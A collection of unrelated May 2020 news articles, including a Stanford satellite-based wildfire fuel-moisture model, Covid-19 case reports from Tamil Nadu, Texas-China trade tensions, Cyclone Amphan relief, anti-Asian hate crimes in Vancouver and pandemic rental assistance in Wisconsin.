Anticipating where a fire is likely to ignite and how it might spread requires information about how much burnable plant material exists on the landscape and its dryness. Yet this information is surprisingly difficult to gather at the scale and speed necessary to aid wildfire management.

Now, a team of experts in hydrology, remote sensing and environmental engineering have developed a deep-learning model that maps fuel moisture levels in fine detail across 12 western states, from Colorado, Montana, Texas and Wyoming to the Pacific Coast.

The researchers describe their technique in the August 2020 issue of Remote Sensing of Environment. According to the senior author of the paper, Stanford University ecohydrologist Alexandra Konings, the new dataset produced by the model could "massively improve fire studies."

According to the paper's lead author, Krishna Rao, a PhD student in Earth system science at Stanford, the model needs more testing to figure into fire management decisions that put lives and homes on the line. But it's already illuminating previously invisible patterns. Just being able to see forest dryness unfold pixel by pixel over time, he said, can help reveal areas at greatest risk and "chart out candidate locations for prescribed burns."

The work comes at a time of growing urgency for this kind of insight, as climate change extends and intensifies the wildfire season - and as the ongoing COVID-19 pandemic complicates efforts to prevent large fires through controlled burns, prepare for mass evacuations and mobilize first responders.

Getting a read on parched landscapes

Fire agencies today typically gauge the amount of dried-out, flammable vegetation in an area based on samples from a small number of trees. Researchers chop and weigh tree branches, dry them out in an oven and then weigh them again. "You look at how much mass was lost in the oven, and that's all the water that was in there," said Konings, an assistant professor of Earth system science in Stanford's School of Earth, Energy & Environmental Sciences (Stanford Earth). "That's obviously really laborious, and you can only do that in a couple of different places, for only some of the species in a landscape."

The U.S. Forest Service painstakingly collects this plant water content data at hundreds of sites nationwide and adds them to the National Fuel Moisture Database, which has amassed some 200,000 such measurements since the 1970s. Known as live fuel moisture content, the metric is well established as a factor that influences wildfire risk. Yet little is known about how it varies over time from one plant to another - or from one ecosystem to another.

For decades, scientists have estimated fuel moisture content indirectly, from informed but unproven guesses about relationships between temperature, precipitation, water in dead plants and the dryness of living ones. According to Rao, "Now, we are in a position where we can go back and test what we've been assuming for so long - the link between weather and live fuel moisture - in different ecosystems of the western United States."

AI with a human assist

The new model uses what's called a recurrent neural network, an artificial intelligence system that can learn to recognize patterns in vast mountains of data. The scientists trained their model using field data from the National Fuel Moisture Database, then put it to work estimating fuel moisture from two types of measurements collected by spaceborne sensors. One involves measurements of visible light bouncing off Earth. The other, known as synthetic aperture radar (SAR), measures the return of microwave radar signals, which can penetrate through leafy branches all the way to the ground surface.

"One of our big breakthroughs was to look at a newer set of satellites that are using much longer wavelengths, which allows the observations to be sensitive to water much deeper into the forest canopy and be directly representative of the fuel moisture content," said Konings, who is also a center fellow, by courtesy, at Stanford Woods Institute for the Environment.

To train and validate the model, the researchers fed it three years of data for 239 sites across the American west starting in 2015, when SAR data from the European Space Agency's Sentinel-1 satellites became available. They checked its fuel moisture predictions in six common types of land cover, including broadleaf deciduous forests, needleleaf evergreen forests, shrublands, grasslands and sparse vegetation, and found they were most accurate - meaning the AI predictions most closely matched field measurements in the National Fuel Moisture Database - in shrublands.

Rich with aromatic herbs like rosemary and oregano, and often marked by short trees and steep, rocky slopes, shrublands occupy as much as 45 percent of the American West. They're not only the region's biggest ecosystem, Rao said, "they are also extremely susceptible to frequent fires since they grow back rapidly." In California, fires whipped to enormous size by Santa Ana winds burn in a type of shrubland known as chaparral. "This has led fire agencies to monitor them intensively," he said.

The model's estimates feed into an interactive map that fire agencies may eventually be able to use to identify patterns and prioritize control measures. For now, the map offers a dive through history, showing fuel moisture content from 2016 to 2019, but the same method could be used to display current estimates. "Creating these maps was the first step in understanding how this new fuel moisture data might affect fire risk and predictions," Konings said. "Now we're trying to really pin down the best ways to use it for improved fire prediction."

###

Konings is also Assistant Professor, by courtesy, of Geophysics in Stanford's School of Earth, Energy & Environmental Sciences. Co-author A. Park Williams is affiliated with Lamont-Doherty Earth Observatory at Columbia University. Co-author Jacqueline Fortin Flefil, MS '18, is now an engineer at Xylem, Inc.

The research was supported by Amazon Web Services (AWS) Cloud Credits for Research, the NASA Earth and Space Science Fellowship, the UPS Endowment Fund at Stanford, the Stanford Woods Institute for the Environment and the Zegar Family Foundation.

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
CHENNAI: The total number of persons testing positive for Covid-19 in Tamil Nadu raced towards the 14,000-mark with 13,967 cases, even as the per-day spike on Thursday saw numbers zoom to 776. Of these, 87 were accounted by returnees from abroad and other states, while Chennai alone saw 567 new cases.

A fractional increase in the mortality rate was noticed as it went up from 0.67 per cent to 0.70 per cent. After seven deaths were confirmed by public health authorities on Thursday, the state's total death toll rose to 94.

However, Tamil Nadu Health Minister Dr C Vijayabaskar sought to play it down saying the fatality rate in the state was still the lowest in the country. He said four of the deaths occurred in private hospitals in Chennai, remaining three in government hospitals, but all the unfortunate deaths confirmed today, save one, had other medical complications.

Dr Vijayabaskar said the total samples lifted today for testing was 12,564 and Tamil Nadu has tested 3,22,532 samples since the Covid-19 outbreak. This is about 15 per cent of the total number of tests done in the country as a whole so far, he said, adding, the number of testing labs in the state has gone up to 56.

The Health minister said, barring the red zones and containment areas in Chennai and some of the northern districts, 28 districts of Tamil Nadu had not reported any fresh Covid-19 positive case since the last several days. "We have controlled the spread of the virus infection in 28 districts," he said, adding, it was more people testing positive at check posts and airports, among incoming persons that continued to worry the State.

Dr. Vijayabaskar said as many as 61 passengers, who returned from various countries abroad and at present in the Chennai airport quarantine, had tested positive for the virus. But some of them, after initially testing negative, were strangely testing positive during the exit screen test. The minister said the state government was hopeful of meeting all these challenges, adding, they were "intensifying the screening and testing" in Greater Chennai.

Earlier in the day, there was brief flutter at the Secretariat when information went around that three employees in Public Accounts department had tested positive for the virus and the security staff of one of the MLAs' had also tested positive.

In the city, about 140 pregnant women are also suffering from the infection, but as many as 400 patients who tested positive for Covid-19 were also discharged today from various hospitals across Tamil Nadu after treatment.

OVER 750 STRANDED IN AYODHYA REACH CHENNAI

To drive home his point that the recovery rate in the state was good, Dr Vijayabaskar in fact shared on Twitter the testimony video of an elderly woman from Tamil Nadu, who had been stranded in Ayodhya due to the lockdown. After reaching Chennai along with 750 others by train, she had declared: "Tamil Nadu government's treatment is the best treatment."
This is the shocking moment a mob of laughing teenagers kick a police officer and drag him across the floor after he challenged them for flouting lockdown rules in a park.

Surrey Police say a lone officer was called to West Byfleet Park in Woking, Surrey, yesterday at 7.40pm.

The officer was attacked while engaging with the men, and was taken to hospital with minor injuries to the wrist and head.

Shocking footage shows a police officer, above, being kicked and dragged across the floor after challenging a group of teenagers in West Byfleet Park for flouting lockdown rules

A group of young males were reported to be potentially contravening social distancing guidelines.

Police say three people - one adult and two juveniles - were arrested a short time later and taken into custody.

In a statement, the force said yesterday: 'We are aware of comments on social media, and a video being circulated, regarding the assault of one of our officers this evening in West Byfleet Park.

'We can confirm that at 7:40pm, while attending a call concerning groups of young adults suspected of breaching the Covid-19 guidelines, a single-crewed officer was attacked by a group of young men as he engaged with them.

'Our officer has been taken to hospital with minor injuries to his wrist and head, and three individuals (one adult and two juveniles) were located and arrested a short time later and taken to custody.'

Teenage girls who captured the video can be heard laughing in the background while filming.

The Surrey Police officer was attacked while engaging with the young males, pictured above, and was taken to hospital with minor injuries to the wrist and head

Surrey Police confirmed a 'single-lone officer' was 'attacked' (above) by a group of men. A group of teenagers were reported to be potentially contravening social distancing guidelines

One witness, Claire Brown, 48, said she spotted five police vehicles at the park at around 8pm.

She told The Sun: 'I heard rustling in the bushes outside and officers were searching for one of the lads.

'Then a policeman shouted at someone "stop where you are, don't move".

'I saw the video on social media, it was awful.'

Any witnesses should call 101 quoting PR/ 45200052505.
WASHINGTON  David LaPrade is an oilman, a lifelong Republican who was gung ho for President Donald Trump in 2016.

But now LaPrade winces almost daily as Trump and like-minded Republicans in Congress let loose on China  jeopardizing his relationship with a client that LaPrade says is one of the best things thats ever happened to his Houston company selling drilling equipment globally.

LaPrade agrees with some of what the politicians are saying, but he has a lot more on the line than they do. The trade war has already cut into his profits, and now hes worried about where the growing tension between the two nations  sparked anew by the coronavirus outbreak  will lead.

Calmer heads must prevail, LaPrade said. Im not sure if Trumps got one.

Texas has much to lose as the GOP turns up the heat on China, a strategy that has emerged both as a way to insulate Trump from criticism over his administrations response to the coronavirus outbreak, and as a way to finally dial back Americas economic dependence on a totalitarian regime.

International trade supports a third of all jobs in the Houston area, with more than 5,000 Houston companies engaged in global trade. China is the regions second-largest trading partner. But the trade war has already taken a swipe at that, with both exports and imports from China seeing sharp declines.

CLASH OF THE TITANS: Opposing policies in U.S.-China trade negotiations spell trouble ahead

My biggest fear really, in business, is how badly can the government screw up our deal and how quickly, said LaPrade, who sells equipment to PetroChina, the state-owned Chinese oil company. Thats my greatest fear: Where the two governments  where itll all end. At the end of the day, without China, were dead. Without the U.S., Chinas dead. Without commerce, everybody dies.

Texas Republicans have emerged as some of the biggest hawks on China, calling for a fundamental rethinking of the U.S. relationship with the nation they say misled the world about the severity of the coronavirus outbreak that originated in the Wuhan province.

We cant be so reliant on China and so vulnerable at the same time, said U.S. Rep. Michael McCaul, a Houston-area Republican leading a GOP congressional task force focused on China. This is like a biological bomb that hit the world.

U.S. Sens. Ted Cruz and John Cornyn, U.S. Reps. Dan Crenshaw and Will Hurd and other Texas Republicans have all made similar pronouncements in recent weeks.

And the rhetoric is only likely to escalate as the November election nears.

Cornyn, an influential Republican who faces what many expect to be his toughest reelection fight yet as he runs for a fourth term, said it bluntly in a campaign email to supporters this month: CHINA is to blame, NOT President Trump.

Poking the bear

Houston has found itself at the center of disputes with China before.

When Houston Rockets General Manager Daryl Morey tweeted out support for pro-democratic protesters in Hong Kong last year, it sparked a geopolitical firestorm that some estimated cost the Rockets between $10 million and $25 million. It also jeopardized American jobs in China, Houston and around the NBA, which has spent years breaking into the Chinese market  and spent weeks doing damage control.

Now China is issuing new threats, recently vowing to sanction of handful of GOP Congress members, including Rep. Crenshaw of Houston, in response to a bill they are pushing that would allow Americans to sue the Chinese government over the coronavirus.

The sanctions and the lawsuits would both be largely symbolic. But Americas reliance on China, especially for medical supplies, came into focus with the coronavirus outbreak as China leaders there threatened to stop supplying medicine to the U.S. and started stockpiling protective equipment.

This is really the defining issue in this generation, I would say: How are we going to compete with China? said McCaul, the top Republican on the House Foreign Affairs Committee and former chair of the House Committee on Homeland Security. A lot of Americans are waking up to  they didnt realize how dependent we are on China for medical supplies, pharmaceuticals, our technology  all of this.

TEXAS TAKE: Get political headlines from across the state sent directly to your inbox

McCaul says the task force will study where the virus came from, and to what extent the Chinese government tried to cover it up. But its also taking a broader view of Chinas attempts to steal intellectual property and spy on American university research.

So far the House GOP effort is a partisan one, but McCaul says he hopes Democrats will join.

I think they think maybe if we focus on China or the communist party we may be taking our eye off  they want to focus on the president, McCaul said. I think you can probably do both.

The White House, meanwhile, rolled out a strategy for dealing with China that said U.S. policy has long been premised on a hope that deepening engagement would spur fundamental economic and political opening there. It called for a reappraisal of the United States many strategic advantages and shortfalls, and a tolerance of greater bilateral friction.

Polling suggests the anti-China rhetoric has a growing audience. More than 30 percent of American voters now say China is an enemy  up 11 percentage points from January, according to a Politico/Morning Consult poll released this week. That poll also found just 9 percent of voters say China is a friend or ally, down from 23 percent in January.

But it is becoming an increasingly partisan issue as Republicans accuse Democrats of being soft on China, while Democrats point to a rise in hate crimes against Asian Americans as a reason to temper the message.

More than 1,700 incidents of verbal and physical attacks against Asian Americans were reported to the group Stop AAPI Hate over six weeks early this year, the group said.

Trump in late March said he would stop calling the coronavirus the Chinese virus as such reports of harassment emerged. But that concession has not slowed the GOPs advance.

"One of the things that drives me crazy about Democrats is they have this nasty little habit of apologizing for communist dictators," Sen. Cruz said in a recent video published by Trumps reelection campaign. "They think they're cute."

Economics always follow the politics

Jason Jing, who owns a Sugar Land company that sells spices, used to get the vast majority of his products from China and has spent the last two years trying to find other sources as the trade war has driven up costs.

Eighty-five percent of his products were imported from China before, Jing said. Now its about 40 percent. The new suppliers cost more, but not as much as paying to import from China with increased tariffs.

Hes keeping a close eye on politics these days.

I guess I have to, Jing said. The economics always follow the politics, or the politics are working for the economics. You cannot separate it.

IN DEPTH: For Texas, promise and pitfalls in China

Houston imported $12.7 billion in goods from China in 2018  more than a quarter of the citys total international imports, said Pablo Pinto, director of the Center for Public Policy at the University of Houston's Hobby School of Public Affairs, who has studied the effects of the trade war on Houston.

Since the Trump administration upped tariffs, exports to China fell from more than $1.1 billion in March 2018 to $230 million in November 2018  an 80-percent hit in just eight months, Pinto said. Exports fell nearly 40 percent from 2018 to 2019. Imports fell more than 18 percent that year.

Tariffs on Chinese imports skyrocketed, hitting an average 18 percent. They had been as low as 3 percent in 2013. The costs spilled beyond the companies directly engaged in trade, said Pinto, as the tariffs hit everything from iron and steel to goods made in China and sold at stores like Walmart.

People rebuilding their homes for Harvey  all of a sudden you had to pay 25 percent more in iron and steel used in construction, Pinto said. It is a huge deal.

State Rep. Gene Wu, a Houston Democrat, said its hard to overstate Chinas importance as an economic partner of Houston.

Im not here to defend China in any sense of the word  in any sense, he said. But you cannot talk about the U.S. economy without talking about our trade relationship with China  especially in Texas.

Almost everyone here has some type of relationship in China, Wu said. I dont mean just the Chinese people. I would struggle to think of a single firm that is a national corporate firm that does not have business in China or wants to have business in China and is trying to set it up.

Increasingly that has meant Chinese firms looking to set up shop in the Houston area. But Wu said some are concerned by the chilling relationship.

When I talk to companies trying to move here  they ask me about Trump, they ask about Cruz and Cornyn and all the crap they say, Wu said. Its becoming harder and harder for me to convince people that its just talk, itll blow over.

Still, some business owners are willing to take a financial hit if that means confronting the Chinese government.

Jeff Wang, who runs an audio and video technology company in Sugar Land that relies heavily on imported parts from China, said that even though the trade war has increased costs for his company, he thinks China has long gotten the best of the trade relationship.

Although there are short term losses from the U.S. side, I truly believe it will be offset by long term benefits for the U.S., he said.

Others are wary of what comes next as Trump beats the drum.

He has said several times over the past 72 hours how he has info that China did this deliberately, intentionally, LaPrade said earlier this month. I just cant imagine, no matter how corrupt the government is, anybody unleashing this on the world, through their own citizens.

That doesnt make a great deal of sense, LaPrade said. Thats what is lacking in a lot of our international exchanges: Common sense.

ben.wermund@chron.com
A driver and a pedestrian were killed Thursday in separate crashes in Clackamas County, officials said.

About 3:15 p.m., Oregon State Police troopers responded to reports of a crash on Oregon 212 near Lani Lane east of Damascus.

Investigators learned Donna Chaney, a 72-year-old Boring resident, was driving eastbound in a Toyota Landcruiser when she drifted into oncoming traffic and collided with a Honda Accord driven by Michael Laubach, police said.

Laubach, 44, was killed in the crash. Chaney was not seriously injured, officials said, and cooperated with investigators.

Just after 10 p.m., troopers responded to a crash on Oregon 99E near Southeast Clarendon Street in Gladstone. Officials said David Mauerman, 59, was traveling south in a Mercedes-Benz sedan when he struck Michael Lacy, 61, who was walking in the roadway.

Lacy died on the way to the hospital, officials said. Both men were from Oregon City.

-- Kale Williams; kwilliams@oregonian.com; 503-294-4048; @sfkale

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
CRMIT Solutions has announced that it has been awarded the ISO/IEC 27001:2013 certification, which will see further support of the company's digital transformation solutions, products and services business. Bangalore, KA (May 21, 2020)- CRMIT Solutions, a pioneer in digital transformation and Customer360 solutions, have been re-confirmed the ISO/IEC 27001:2013 certification after the company successfully developed and implemented an integrated strategy for information security management to protect information assets, such as customer, 
VANCOUVERAnti-Asian racism has spiked since COVID-19 forced B.C. into a state of emergency in March and Vancouver police say thats driven an increase in hate crimes overall.

Howard Chow, the departments deputy chief constable for operations, said investigators have opened 29 files involving anti-Asian racism since March, a staggering increase from four files in the same time period last year.

This has been going on since post-COVID. I think some 90 per cent of the incidents were talking about happened after the pandemic was announced, said Chow, noting other cities across North America have reported a similar trend.

There have been 77 hate-associated police files in 2020, said Chow, and another 10 active files from April and May could later be classified as hate crimes.

By comparison, 51 hate crimes had been reported by this time last year, he said.

Deputy Chief Const. Laurence Rankin said the alleged offences range from racial slurs and vandalism to assault.

Suspects have been identified in six of the 29 cases, although no charges have been laid yet, he added.

Ten of the files have concluded due to lack of evidence or suspects, but Rankin said they could be reopened in future.

The department has stepped up its engagement with the Chinese community in Vancouver to raise awareness of what constitutes a hate crime and how victims can connect with police, said Chow.

Additional officers are patrolling Chinatown and more public safety cameras have been installed, he said.

Racist incidents and hate crimes are adding to peoples stress and fear during an already uncertain time, said Chow, who identified himself as first generation Chinese Canadian.

Hate is insidious. Right now, its anti-Asian, but it spreads like a virus and impacts us all, he said, while urging anyone who sees racism to report it to police.

Chow also addressed potential offenders, saying half of Vancouvers residents are culturally diverse.

Theyre not a minority. Its who we are, he said.

The racist slurs and assaults have taken place as people were going about daily life in parks, grocery stores and on public transit, said Chris Lee, the director of the Asian Canadian and Asian migration studies program at the University of British Columbia.

I think everyone who feels like they could potentially be racially profiled at this time is thinking twice about their safety, said Lee, pointing to an alleged assault last week against an Indigenous woman whose attacker uttered anti-Asian slurs.

Lee said racism is under-reported and the police files represent a fraction of the actual number of racist incidents that occur in Vancouver, but the recent spike helps paint a clearer picture of the widespread nature of racism in the city.

I think for a lot of families (its) going to mean conversations around, you know, should our parents be out, should our elders be out, especially those who are most vulnerable?

Premier John Horgan has also condemned rising racism in the wake of the pandemic and appealed to citizens to stand up to racist behaviour when they see it.

Hate has no place in British Columbia. We are a strong and vibrant economy and a strong and vibrant community because of the diversity that is what makes up this great province, he said on Wednesday.

Note to readers: This is a corrected story. A previous version said all the remaining files had been closed.

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India's crude oil imports in April recorded their biggest year-on-year fall in 10 months as coronavirus-induced lockdown restrictions halted economic activity and sapped demand.

Crude oil imports in April fell 12.4 percent to 17.28 million tonnes from a year earlier, its steepest decline since June 2019, data on the website of Petroleum Planning and Analysis Cell said.

Oil product imports also dropped 6.5 percent to 3.35 million tonnes, their first year-on-year decline in 16 months.

But exports of refined products had their biggest rise year-on-year since October 2016 because of a slowdown in domestic demand.

Fuel demand in April plunged more than 45 percent as coronavirus lockdown restrictions hit industrial activity. This prompted Indian refiners to continue prompt exports of refined fuels to avoid a complete shutdown.

Prime Minister Narendra Modi has extended the country's coronavirus lockdowns to May 31, but relaxed rules in areas with lower numbers of cases, raising hopes fuel demand will recover.

Refined product exports were 37 percent higher than a year ago at 6.04 million tonnes. Exports of diesel, which continued to account for a major share of exports, surged by 68 percent in April year-on-year to 3.40 million tonnes, the data showed.

A record volume of diesel is set to reach Europe from the East in May after lockdown measures left refiners in Asia and the Middle East with excess volumes of fuel.
Prime Minister Narendra Modi announced Rs 1,500 crore for the relief and rehabilitation of people affected by Cyclone Amphan in West Bengal and Odisha, and assured the states of more support after conducting separate aerial surveys with chief ministers Mamata Banerjee and Naveen Patnaik on Friday.

West Bengal is fighting well, the Prime Ministers Office (PMO) quoted Modi as saying in a series of tweets, which also underscored the fact that the state is faced with the two-pronged challenge of fighting the coronavirus disease (Covid-19) and rebuilding areas battered by the cyclone. Modis remarks were seen as praise for Banerjee, one of his staunchest critics.

The government of India will work shoulder-to-shoulder with the state administration. We are announcing the release of an advance assistance fund of Rs 1,000 crore, Modi said in Hindi after a review meeting in Basirhat in North 24 Parganas. Later, he announced immediate assistance of Rs 500 crore for Odisha.

Cyclone Amphan, the most severe storm in the Bay of Bengal since the super cyclone of 1999, has left a trail of destruction and damage in the two states. It made landfall around 20km east of Sagar Island in the Sunderbans on Wednesday afternoon, packing winds gusting to a top speed of 185 kilometres per hour, cutting off road links, snapping telecommunications, leaving parts of West Bengal without electricity, and inundating coastal hamlets. It killed about 80 people in West Bengal and at least two in Odisha.

It was around 11am that Modi reached the Kolkata airport, where he was received by Banerjee and governor Jagdeep Dhankar on the first leg of his day-long tour. Differences took a back seat when Modi and Banerjee, fierce opponents on two sides of the political spectrum, boarded a helicopter to survey the worst-hit areas of North and South 24 Parganas districts. Accompanying them was Dhankar, whose endorsement of central policies has time and again put him in the crosshairs of the ruling Trinamool Congress.

At times we have to move beyond politics, attend to constitutional obligations and work together as state and central governments. We have to maintain that relationship. We have to follow the federal structure, Banerjee said before the arrival of Modi.

While we have received reports of 80 deaths; 60 million people in the state have been directly affected. This (cyclone) has done more damage than any other natural disaster, she said.

At the review meeting with Banerjee in Basirhat after the survey, Modi declared that Rs 2 lakh each will be given to families of the deceased from the Prime Ministers National Relief Fund. Those injured will get Rs 50,000 each.

We all want West Bengal to move ahead. Centre will always stand with West Bengal in these testing times, the PMO quoted Modi as saying. We are battling a pandemic on one hand and there is a cyclone situation in some parts. Dealing with the pandemic requires social distancing whereas battling the cyclone requires people to move to safer areas, the PMO said in another tweet. Despite these contradictions, West Bengal is fighting well

Banerjee said her state suffered losses of more than Rs 1 lakh crore due to the storm that has left tens of thousands homeless. Most of the areas we surveyed were totally ravaged. I have briefed the Prime Minister in detail about the post-cyclone situation in the state, she told reporters at the airport after seeing off Modi.

Banerjee said she reminded the Prime Minister about Rs 53,000 crore the central government owes to the state for various social security schemes. If they (Centre) give some money to us, we can work, she said.

Dhankar, who donated Rs 50 lakh to the chief ministers relief fund, welcomed the atmosphere of cooperation. I see light at the end of the tunnel. I am sure that when the central team comes for inspection (of the post-cyclone situation) it will be received with a red carpet, he said in the evening.

In Odisha too, Modi conducted an aerial survey after holding a review meeting with governor Ganeshi Lal and CM Patnaik, and announced the Rs 500-crore package for the state. In addition to that, Modi said, further assistance will be provided for long-term rehabilitation measures after the Centre receives a detailed report.

Everyone is fighting Covid-19. In such a time, we had a super cyclone in some parts of India. This became very worrying. At the same time, due to the well-established processes in Odisha, many lives were saved. I congratulate the people and Government of Odisha, the PMO tweeted Modi as saying.

According to the preliminary estimates by Odisha, the storm affected 4.4 million people and over 100,000 hectares of farmland in the state.

Separately, president Ram Nath Kovind spoke to Banerjee and Patnaik, and assured them that the nation stands united in supporting their affected people.

On Friday, the air force said it modified aircraft/helicopters for relief operations and is on standby. It said its crisis management cell is coordinating with the civil administration and National Disaster Response Force (NDRF) teams on the ground.
Controversial BJP MLA Surendra Singh on Friday said Congress leader Rahul Gandhi is a good actor and should quit and move to Mumbai, home of the Bollywood film industry.

Launching a scathing attack on the Congress, he further asked people to maintain distancing of votes from the party just like they are following social distancing norms due to the COVID-19 outbreak.

We have to save the nation from the Congress. People of the country need to maintain distancing of votes from the Congress, the BJP MLA from Bairiya told persons here.

Replying to a question on Ram Janmabhoomi in Ayodhya, Singh referred to the temple-mosque disputes in Mathura and Varanasi and said similar action needs to be taken.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Economies around the world are slowly reopening from their coronavirus-induced lockdowns, but like limbs starved of nutrients for too long, parts of the global food supply chain may have suffered permanent damage.

In the time it takes for the world to adjust to our new normal, more than 130 million people could go hungry, predicts the World Bank. The so-called hunger pandemic could affect far more people than those who contracted the actual virus. At the heart of this dire vision of the near future is a food system that was already wasteful and never designed to withstand the type of powerful shock brought on by COVID-19.

I hope this is a wake-up call for the world that we cannot let the financial markets drive the global food supply chain, Christopher Tang, UCLA distinguished professor of business administration told Al Jazeera.

The pandemic is shining a light on a painful open secret: The need for food  actual hunger  is not a determining factor in food supply chains.

Getting food to your table is a race against rot; delays along the chain increase the risk of spoilage or loss. Under normal circumstances, the problem is so bad that the Boston Consulting Group estimates by 2030 $1.5 trillion worth of food around the world could be lost or wasted, but that math does not account for the virus.

The pandemic raises the stakes for everyone along the food supply chain.

A resident carries away free groceries from a pop-up food pantry amid the coronavirus disease (COVID-19) outbreak in Chelsea, Massachusetts [File: Brian Snyder/Reuters]

Unclogging the system

Images of farmers around the globe destroying crops or killing a generation of livestock because of a lack of transportation or diminished demand from restaurants and cafeterias are doubly painful to see juxtaposed to a video of long lines of hungry people at food banks.

While it would make sense to simply send food to places where people are the hungriest, the system does not work like that.

The food supply chain consists of seven types of actors: Seed and chemical sellers, farmers, traders, food companies, retailers, restaurants/cafeterias and finally, consumers. All of them need to be paid for their efforts, or they will start reducing capacity because it is a free market, it is not just about food it is about finance  how are actors within the free market being compensated for their efforts, said Professor Tang.

In the United States, President Donald Trumps administration is promising to turn hunger into demand for food by spending $300m to buy vegetables, fresh fruit, dairy products and meat from American farmers.

The Coronavirus Food Assistance programme is designed to strengthen some of the weakest links along the US food supply chain. It provides financial relief to farmers and ranchers, but it will also allow for the purchase and distribution of our agricultural abundance to help our fellow Americans in need, agriculture secretary Sonny Perdue said during a recent news conference.

The US Department of Agriculture also plans to pay distributors to pick up food from farmers and transport it to food bank distribution centres.

Yet this is only a short term fix, which may not be applicable to other regions of the world with higher rates of food insecurity.

Shifting Demand

Demand for food is changing because of a rise in unemployment, a drop in bulk orders from restaurants and cafeterias and, ironically, post-lockdown efforts to prevent a resurgence of new infections.

Whether through rising food prices, falling incomes, or both, people will have less real income to pay for their food, Johan Swinnen, director general at the International Food Policy Research Institute told Al Jazeera.

In the US, nearly 40 million workers applied for unemployment benefits since the first virus-related lockdown went into effect, which hit the service industry especially hard. Reservations application OpenTable forecasts one out of every four US eateries will go out of business. The World Bank says COVID-19 is likely to cause the first increase in global poverty since 1998, pushing hundreds of millions of people away from their next meal.

As economies reopen, food businesses are rethinking what it means to have employees report to work in close quarters. Many firms will require workers to wear personal protective equipment like masks and gloves.

Every hand that touches food along the supply chain will need safety measures, and there is a cost for all of those measures: Truckers need safety measures; Farmers need safety measures, and shops will limit the number people they allow in at one time, said Tang. Every single link on the chain costs money so vendors must charge higher prices.

They will likely charge higher prices, even if people cannot pay. And that may be one of COVID-19s most painful and deadly consequences: You could survive the virus, but be crippled by hunger.

 with additional reporting by Radmilla Suleymanova.
Centennial School District voters approved a $65 million construction bond this week, one of nine education measures put forth by school districts across the state. Support for the measure sat at 53% Thursday, with 4,946 district voters saying yes.

Centennial blankets a portion of Southeast Portland, Gresham and a small part of Clackamas County. Four years ago, voters shot down a similar proposal, an $85 million effort that only garnered 44% support at the ballot.

The passing of the bond package means Oregon voters approved a majority of funding measures put forth by school districts and community colleges.

Voters in Canby approved a $75 million bond package to fund various construction projects, among them extensive renovations to one wing of the high school and accessibility updates on several campuses.

In Lane County, 58% of voters approved a $122 million bond to pay for security and technology upgrades, seismic retrofits and an expansion of the health professions programs and workforce training programs at Lane Community College.

In the rural St. Helens districts, a $55 million bond to modernize the high school and replace its fire systems passed with 52% of voters saying yes. And in Douglas Countys Glendale district, 56% of voters said yes to a $1.8 million bond to replace all of the windows in the elementary and middle schools, along with new ventilation systems.

Voters in the neighboring Roseburg district, however, shot down a $94 million bond to build five elementary school gymnasiums and fund other renovations across the district, the biggest K-12 construction measure on the May ballot. The Roseburg measure was one of four such efforts that failed at the ballot.

Pendleton voters decided against renewing a property tax of 40 cents per $1,000 of assessed value, which was estimated to bring in $300,000 to pay for teachers and district services. The measure only garnered 48% of voters support.

Harney County voters similarly shot down an $8 million bond to pay for various maintenance projects and upgrades. Fifty-nine percent voted against the measure.

And in Polk County, 84% of voters opposed a $3.4 million ask from the Perrydale district, which would have paid for the construction of new classrooms, an overhaul of the ventilation systems in several buildings and accessibility upgrades.

In an unusual development, officials in that district campaigned against their own measure. The Oregon School Boards Association reports the Perrydale districts bond campaign began before the state Department of Education rolled out a program that offers a dollar-for-dollar match on some bond campaigns of up to $8 million.

Its likely the district will return to the ballot in November with a revised campaign, the association reported.

--Eder Campuzano | 503-221-4344 | @edercampuzano

Eder is The Oregonians education reporter. Do you have a tip about Portland Public Schools? Email ecampuzano@oregonian.com.

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.

Oregons education reporters are looking for parents who would like to speak with a journalist about the effects coronavirus is having on families across the state. Would you like to chat with one of us? Fill out this form.
Earlier this week, Wisconsin Gov. Tony Evers announced the establishment of the $25 million Wisconsin Rental Assistance Program for state residents who have lost income during the coronavirus pandemic.

As the state begins to reopen in phases, many renters who have lost jobs but had the benefit of a moratorium on evictions are in need of assistance to get caught up on past-due rent. Many landlords, who themselves are facing mortgage payments and property maintenance expenses, need that revenue.

Through the Department of Administration, the Wisconsin Rental Assistance Program will provide direct financial assistance for owed rent, security deposits and wrap-around services for program eligible residents using federal Coronavirus Aid, Relief and Economic Security (CARES) Act dollars.

Wisconsinites have enough to worry about as we continue to battle the deadly COVID-19 virus, Evers said in a statement. They should not also have to worry about losing the roofs over their head. The Wisconsin Rental Assistance Program will hopefully provide peace of mind to a lot of people, as well as a reminder to them that we are all in this together. They have not been forgotten.

Wisconsin adults with a household income at or below 80% of the county median income in the month of or prior to the application date are eligible for the program. Once approved, eligible individuals can receive assistance of up to $3,000 in a combination of rental payments and/or security deposits. These payments will be paid directly to the landlord on behalf of the tenant.

The DOA will be partnering with Wisconsin Community Action Program Association member agencies to accept applications from whoever is interested in applying.

Collaborations with boots-on-the-ground partner organizations will be critical to ensuring eligible Wisconsin residents are aware of this new program and are able to receive rental assistance relief quickly, said DOA Secretary Joel Brennan.

This will be the first of two initiatives launched by the DOA, which is planning to release details of the second phase in the upcoming weeks.

The rental assistance comes on the heels of action completed by Dane County earlier this week. On Monday, Dane County Executive Joe Parisi announced a $10 million eviction relief fund in conjunction with the Tenant Resource Center.

The $10 million will be used by the TRC to help renters pay back overdue rent that has accumulated during the COVID-19 crisis and ease the transition back into paying rent regularly. It will also help landlords get back on solid footing so that they dont have to sell their properties because of not being able to afford their mortgages.

Both the renters and the landlords are hurting from the COVID-19 pandemic, Parisi said. Landlords are hurting, too. Because landlords have mortgages that they pay with the rent and if theres no rent, they have challenges. So were hoping to make a big difference for everyone.

Landlords inability to pay mortgages could lead to them putting their properties up for sale, which could also result in tenants being displaced.

Theres a lot of uncertainty for renters, TRC director Robin Sereno said. Folks havent had income to pay their rent and theres high anxiety around that. Thats why we have been strongly encouraging folks to communicate with their landlords, pay what they can, knowing once youre behind its hard to catch up.

The federal moratorium on evictions is set to expire on July 24, but the state moratorium expires May 26. Sereno said some eviction cases, scheduled before the lockdown and delayed due to the moratorium and closed courts, are set to be heard as early as June 2.

Parisi said he hopes the $10 million in eviction relief will be enough to reach about 9,000 people.

